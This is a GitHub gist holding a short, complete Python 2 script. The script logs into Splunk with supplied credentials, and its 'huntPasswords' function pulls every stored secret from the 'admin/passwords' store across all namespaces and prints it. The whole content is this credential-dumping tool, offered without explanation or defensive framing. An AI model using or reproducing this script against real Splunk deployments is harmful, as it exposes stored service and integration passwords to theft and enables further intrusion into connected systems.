Skip to content

Instantly share code, notes, and snippets.

@ustayready
Created December 16, 2019 05:31
Show Gist options
  • Select an option

  • Save ustayready/8bdb7934a327b85de607f5d977f160fc to your computer and use it in GitHub Desktop.

Select an option

Save ustayready/8bdb7934a327b85de607f5d977f160fc to your computer and use it in GitHub Desktop.
import splunk.entity as entity
import splunk.auth, splunk.search
import getpass
def huntPasswords(sessionKey):
entities = entity.getEntities(
['admin','passwords'],owner="nobody", namespace="-",sessionKey=sessionKey)
return entities
def getSessionKeyFromCreds():
user = raw_input("Username:")
password = getpass.getpass()
sessionKey = splunk.auth.getSessionKey(user,password)
return sessionKey
if __name__ == "__main__":
sessionKey = getSessionKeyFromCreds()
print huntPasswords(sessionKey)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment